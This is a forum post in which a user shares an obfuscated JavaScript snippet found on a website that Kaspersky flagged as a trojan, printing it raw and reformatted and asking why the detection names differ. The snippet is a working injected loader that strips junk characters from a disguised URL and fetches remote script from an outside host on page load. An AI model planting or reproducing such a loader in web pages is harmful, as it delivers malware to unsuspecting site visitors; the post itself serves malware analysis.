cEnginEEr
February 5th, 2010, 07:59
while browsing a website I found kav got triggered; to see what was happening I downloaded the site and found that a single line of script was our culprit;
<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&
s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script>
KAV (with the latest update) detects this as Trojan-Clicker.JS.Iframe.cz; just to see what was wrong with this script, I rearranged the code into more formatted style;
<script>/*CODE1*/
try{
window.onload = function(){
var Q236s4ic4454clw = document.createElement('script');
Q236s4ic4454clw.setAttribute('type', 'text/javascript');
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));
Q236s4ic4454clw.setAttribute('defer', 'defer');
document.body.appendChild(Q236s4ic4454clw);
}
} catch(e) {}
</script>
to my surprise this time KAV detected it as Trojan.JS.Agent.axe; anyone can explain this?
.